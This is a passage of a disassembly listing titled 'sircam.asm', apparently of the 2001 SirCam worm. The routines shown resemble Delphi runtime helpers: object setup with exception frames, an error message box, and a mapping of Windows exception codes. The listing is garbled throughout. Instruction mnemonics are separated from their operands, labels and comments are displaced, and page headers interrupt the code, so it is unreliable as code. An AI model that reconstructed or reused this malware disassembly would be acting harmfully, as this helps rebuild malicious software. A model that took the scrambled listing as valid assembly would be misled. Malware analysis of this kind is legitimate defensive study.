; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
dword_4093D0
dd 0
; DATA XREF: CODE:004092E6\030o
; CODE:004092EB\030o
dword_4093D4
dd 2Eh, 0FBC0C481h, 68FFFFh, 8D000004h, 0E844244Ch, 0FFFFFE64h
; DATA XREF: CODE:0040931D\030o
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
mov
eax, ds:off_41DC18
cmp
byte ptr [eax], 0
jz
short loc_409410
lea
edx, [esp+40h]
mov
eax, ds:off_41DB30
call
sub_40528C
call
sub_40520F
call
sub_40265C
jmp
short loc_409446
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_409410:
push
lea
push
mov
mov
push
mov
call
push
call
push
lea
push
lea
push
push
call
; CODE XREF: CODE:004093F4\030j
40h
eax, [esp+4]
eax
eax, ds:off_41DB0C
eax, [eax+4]
eax
eax, ds:dword_41E4D4
sub_404638
eax
j_LoadStringA_0
2010h
eax, [esp+4]
eax
eax, [esp+48h]
eax
0
j_MessageBoxA_0
loc_409446:
; CODE XREF: CODE:0040940E\030j
add
esp, 440h
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sircam.asm
sub_409450
Fri Aug 10 12:42:44 2001
proc near
; CODE XREF: sub_406CBC+C\030p
; sub_409608+32\031p ...
push
push
push
test
jz
add
call
ebx
esi
edi
dl, dl
short loc_40945F
esp, 0FFFFFFF0h
sub_402CDC
mov
mov
mov
lea
mov
call
mov
test
jz
call
pop
add
; CODE XREF: sub_409450+5\030j
esi, ecx
ebx, edx
edi, eax
eax, [edi+4]
edx, esi
sub_40351C
eax, edi
bl, bl
short loc_409484
sub_402D34
large dword ptr fs:0
esp, 0Ch
loc_40945F:
loc_409484:
sub_409450
252
; CODE XREF: sub_409450+23\030j
mov
pop
pop
pop
retn
endp
eax, edi
edi
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40948C
proc near
var_4
arg_0
arg_4
= dword ptr -4
= dword ptr 8
= dword ptr 0Ch
; CODE XREF: sub_406CD4+32\030p
; sub_4096CC+77\031p ...
push
mov
push
push
push
push
test
jz
add
call
ebp
ebp, esp
0
ebx
esi
edi
dl, dl
short loc_4094A0
esp, 0FFFFFFF0h
sub_402CDC
mov
mov
mov
xor
push
push
push
mov
lea
push
mov
mov
; CODE XREF: sub_40948C+A\030j
esi, ecx
ebx, edx
edi, eax
eax, eax
ebp
offset loc_4094E6
dword ptr fs:[eax]
fs:[eax], esp
eax, [ebp+var_4]
eax
edx, [ebp+arg_4]
ecx, [ebp+arg_0]
loc_4094A0:
sircam.asm
Fri Aug 10 12:42:44 2001
mov
call
mov
lea
call
xor
pop
pop
pop
mov
push
eax, esi
sub_407B2C
edx, [ebp+var_4]
eax, [edi+4]
sub_40351C
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_4094ED
loc_4094DD:
sub_40948C
253
; CODE XREF: CODE:004094EB\031j
lea
eax, [ebp+var_4]
call
sub_4034C8
retn
endp ; sp = -28h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4094E6:
; DATA XREF: sub_40948C+1D\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_4094DD
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4094ED:
mov
test
jz
call
pop
add
; DATA XREF: sub_40948C+4C\030o
eax, edi
bl, bl
short loc_409502
sub_402D34
large dword ptr fs:0
esp, 0Ch
mov
pop
pop
pop
pop
pop
retn
eax, edi
edi
esi
ebx
ecx
ebp
8
loc_409502:
; CODE XREF: CODE:004094F1\030j
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40950C
proc near
; CODE XREF: sub_40A398+67\031p
; sub_40D884+29\031p ...
push
push
push
test
jz
add
call
ebx
esi
edi
dl, dl
short loc_40951B
esp, 0FFFFFFF0h
sub_402CDC
mov
mov
mov
lea
mov
call
mov
test
jz
call
pop
add
; CODE XREF: sub_40950C+5\030j
esi, ecx
ebx, edx
edi, eax
edx, [edi+4]
eax, esi
sub_404B80
eax, edi
bl, bl
short loc_409540
sub_402D34
large dword ptr fs:0
esp, 0Ch
loc_40951B:
sircam.asm
Fri Aug 10 12:42:44 2001
loc_409540:
sub_40950C
254
; CODE XREF: sub_40950C+23\030j
mov
pop
pop
pop
retn
endp
eax, edi
edi
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_409548
proc near
var_8
var_4
arg_0
arg_4
=
=
=
=
dword
dword
dword
dword
; CODE XREF: sub_409608+51\031p
; sub_4097A4+1D\031p ...
ptr -8
ptr -4
ptr 8
ptr 0Ch
push
mov
push
push
push
push
push
test
jz
add
call
ebp
ebp, esp
0
0
ebx
esi
edi
dl, dl
short loc_40955E
esp, 0FFFFFFF0h
sub_402CDC
mov
mov
mov
xor
push
push
push
mov
lea
push
lea
mov
call
mov
mov
mov
call
mov
lea
call
xor
pop
pop
pop
mov
push
; CODE XREF: sub_409548+C\030j
esi, ecx
ebx, edx
edi, eax
eax, eax
ebp
offset loc_4095B4
dword ptr fs:[eax]
fs:[eax], esp
eax, [ebp+var_4]
eax
edx, [ebp+var_8]
eax, esi
sub_404B80
eax, [ebp+var_8]
edx, [ebp+arg_4]
ecx, [ebp+arg_0]
sub_407B2C
edx, [ebp+var_4]
eax, [edi+4]
sub_40351C
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_4095BB
loc_40955E:
loc_4095A6:
sub_409548
; CODE XREF: CODE:004095B9\031j
lea
eax, [ebp+var_8]
mov
edx, 2
call
sub_4034EC
retn
endp ; sp = -2Ch
sircam.asm
Fri Aug 10 12:42:44 2001
255
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4095B4:
; DATA XREF: sub_409548+1F\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_4095A6
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4095BB:
mov
test
jz
call
pop
add
; DATA XREF: sub_409548+59\030o
eax, edi
bl, bl
short loc_4095D0
sub_402D34
large dword ptr fs:0
esp, 0Ch
loc_4095D0:
; CODE XREF: CODE:004095BF\030j
mov
eax, edi
pop
edi
pop
esi
pop
ebx
pop
ecx
pop
ecx
pop
ebp
retn
8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
loc_4095DC:
cmp
jz
call
; DATA XREF: CODE:004062A0\030o
; CODE:004062FC\030o ...
byte ptr [eax+0Ch], 0
short locret_4095E7
sub_402B84
locret_4095E7:
; CODE XREF: CODE:004095E0\030j
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
off_4095E8
dd offset dword_4095EC ; DATA XREF: sub_40B194+50\031r
dword_4095EC
dd 4554090Eh, 726F7272h, 8636552h, 1000000h ; DATA XREF: CODE:004095E8
\030o
db 3 dup(0)
dd offset off_401000
align 8
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_409608
proc near
var_8
var_4
= dword ptr -8
= byte ptr -4
; CODE XREF: sub_409688+36\031p
push
ebx
push
esi
add
esp, 0FFFFFFF8h
xor
ebx, ebx
call
sub_402698
mov
esi, eax
jmp
short loc_409619
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_409618:
; CODE XREF: sub_409608+1D\031j
inc
ebx
cmp
jg
cmp
jnz
; CODE XREF: sub_409608+E\030j
ebx, 6
short loc_409627
esi, ds:dword_41C1F8[ebx*8]
short loc_409618
loc_409619:
sircam.asm
Fri Aug 10 12:42:44 2001
256
loc_409627:
; CODE XREF: sub_409608+14\030j
cmp
ebx, 6
jg
short loc_409641
mov
ecx, ds:dword_41C1FC[ebx*8]
mov
dl, 1
mov
eax, ds:off_406314
call
sub_409450
jmp
short loc_40965E
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_409641:
mov
mov
push
push
mov
mov
mov
call
; CODE XREF: sub_409608+22\030j
[esp+8+var_8], esi
[esp+8+var_4], 0
esp
0
ecx, ds:off_41DB08
dl, 1
eax, ds:off_406314
sub_409548
loc_40965E:
sub_409608
; CODE XREF: sub_409608+37\030j
mov
[eax+0Ch], esi
pop
ecx
pop
edx
pop
esi
pop
ebx
retn
endp ; sp = -8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
off_409668
dd offset dword_40966C ; DATA XREF: sub_40B194+3B\031r
dword_40966C
dd 45540A0Eh, 70656378h, 63655274h, 8, 1 ; DATA XREF: CODE:00409668\030o
dd offset off_401000
align 8
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_409688
proc near
; DATA XREF: sub_409B0C+5C\031o
push
ebx
mov
ebx, edx
mov
edx, eax
dec
edx
jz
short loc_40969B
dec
edx
jz
short loc_4096A2
dec
edx
sub
edx, 16h
jb
short loc_4096A9
jmp
short loc_4096BE
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40969B:
; CODE XREF: sub_409688+6\030j
mov
eax, ds:dword_41E5F4
jmp
short loc_4096C3
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4096A2:
; CODE XREF: sub_409688+9\030j
mov
eax, ds:dword_41E5F8
jmp
short loc_4096C3
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4096A9:
lea
mov
mov
mov
call
jmp
; CODE XREF: sub_409688+F\030j
eax, dword_41C218[eax*8]
ecx, [eax+4]
eax, [eax]
dl, 1
sub_409450
short loc_4096C3
sircam.asm
Fri Aug 10 12:42:44 2001
257
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4096BE:
; CODE XREF: sub_409688+11\030j
call
sub_409608
loc_4096C3:
sub_409688
; CODE XREF: sub_409688+18\030j
; sub_409688+1F\030j ...
push
jmp
endp
ebx
sub_402F98
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
pop
ebx
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_4096CC
proc near
var_20
var_1C
var_18
var_14
var_10
var_C
var_8
var_4
=
=
=
=
=
=
=
=
; CODE XREF: sub_409788+3\031p
dword ptr -20h
dword ptr -1Ch
byte ptr -18h
dword ptr -14h
byte ptr -10h
dword ptr -0Ch
byte ptr -8
dword ptr -4
push
ebp
mov
ebp, esp
add
esp, 0FFFFFFE0h
push
ebx
push
esi
push
edi
xor
ebx, ebx
mov
[ebp+var_20], ebx
mov
[ebp+var_4], ebx
mov
edi, ecx
mov
esi, edx
mov
ebx, eax
xor
eax, eax
push
ebp
push
offset loc_409768
push
dword ptr fs:[eax]
mov
fs:[eax], esp
test
ebx, ebx
jz
short loc_409701
lea
eax, [ebp+var_4]
mov
edx, ebx
call
sub_403560
jmp
short loc_40970E
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_409701:
lea
mov
call
; CODE XREF: sub_4096CC+27\030j
edx, [ebp+var_4]
eax, ds:off_41DC0C
sub_404B80
mov
mov
mov
mov
mov
mov
mov
; CODE XREF: sub_4096CC+33\030j
eax, [ebp+var_4]
[ebp+var_1C], eax
[ebp+var_18], 0Bh
[ebp+var_14], esi
[ebp+var_10], 0Bh
[ebp+var_C], edi
[ebp+var_8], 0
loc_40970E:
sircam.asm
Fri Aug 10 12:42:44 2001
lea
push
push
lea
mov
call
mov
mov
mov
call
mov
xor
pop
pop
pop
mov
push
loc_409757:
sub_4096CC
258
eax, [ebp+var_1C]
eax
2
edx, [ebp+var_20]
eax, ds:off_41DC40
sub_404B80
ecx, [ebp+var_20]
dl, 1
eax, ds:off_406A1C
sub_40948C
ebx, eax
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_40976F
; CODE XREF: CODE:0040976D\031j
lea
eax, [ebp+var_20]
call
sub_4034C8
lea
eax, [ebp+var_4]
call
sub_4034C8
retn
endp ; sp = -3Ch
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_409768:
; DATA XREF: sub_4096CC+1A\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_409757
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40976F:
; DATA XREF: sub_4096CC+86\030o
mov
pop
pop
pop
mov
pop
retn
eax, ebx
edi
esi
ebx
esp, ebp
ebp
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_409778
sub_409778
proc near
mov
esp, ecx
mov
[esp+0], edx
mov
ebp, [ebp+0]
jmp
sub_402F98
endp
; CODE XREF: sub_409788+11\031p
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_409788
proc near
arg_0
= byte ptr
push
mov
call
lea
; DATA XREF: sub_409B0C+95\031o
8
ebp
ebp, esp
sub_4096CC
ecx, [ebp+arg_0]
sircam.asm
sub_409788
Fri Aug 10 12:42:44 2001
add
mov
call
pop
retn
endp
259
ecx, 4
edx, dword ptr [ebp+arg_0]
sub_409778
ebp
4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4097A4
proc near
; DATA XREF: sub_409B0C+A0\031o
var_8
var_4
= dword ptr -8
= byte ptr -4
sub_4097A4
add
esp, 0FFFFFFF8h
xor
eax, eax
mov
[esp+8+var_8], eax
mov
[esp+8+var_4], 0Bh
push
esp
push
0
mov
ecx, ds:off_41DB20
mov
dl, 1
mov
eax, ds:off_406A7C
call
sub_409548
call
sub_402F98
pop
ecx
pop
edx
retn
endp ; sp = -8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4097D0
proc near
; CODE XREF: CODE:00409850\031p
; sub_409A30+20\031p
mov
eax, [eax]
cmp
eax, 0C0000092h
jg
short loc_409805
jz
short loc_409834
cmp
eax, 0C000008Eh
jg
short loc_4097F7
jz
short loc_409837
sub
eax, 0C0000005h
jz
short loc_409840
sub
eax, 87h
jz
short loc_40982E
dec
eax
jz
short loc_40983D
jmp
short loc_40984C
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4097F7:
; CODE XREF: sub_4097D0+10\030j
add
eax, 3FFFFF71h
sub
eax, 2
jb
short loc_409834
jz
short loc_40983A
jmp
short loc_40984C
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_409805:
; CODE XREF: sub_4097D0+7\030j
cmp
jg
jz
eax, 0C0000096h
short loc_40981D
short loc_409843
sircam.asm
Fri Aug 10 12:42:44 2001
260
sub
eax, 0C0000093h
jz
short loc_40983D
dec
eax
jz
short loc_40982B
dec
eax
jz
short loc_409831
jmp
short loc_40984C
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40981D:
; CODE XREF: sub_4097D0+3A\030j
sub
eax, 0C00000FDh
jz
short loc_409849
sub
eax, 3Dh
jz
short loc_409846
jmp
short loc_40984C
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40982B:
; CODE XREF: sub_4097D0+46\030j
mov
al, 3
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40982E:
; CODE XREF: sub_4097D0+20\030j
mov
al, 4
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_409831:
; CODE XREF: sub_4097D0+49\030j
mov
al, 5
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_409834:
; CODE XREF: sub_4097D0+9\030j
; sub_4097D0+2F\030j
mov
al, 6
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_409837:
; CODE XREF: sub_4097D0+12\030j
mov
al, 7
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40983A:
; CODE XREF: sub_4097D0+31\030j
mov
al, 8
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40983D:
; CODE XREF: sub_4097D0+23\030j
; sub_4097D0+43\030j
mov
al, 9
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_409840:
; CODE XREF: sub_4097D0+19\030j
mov
al, 0Bh
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_409843:
; CODE XREF: sub_4097D0+3C\030j
mov
al, 0Ch
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_409846:
; CODE XREF: sub_4097D0+57\030j
mov
al, 0Dh
retn
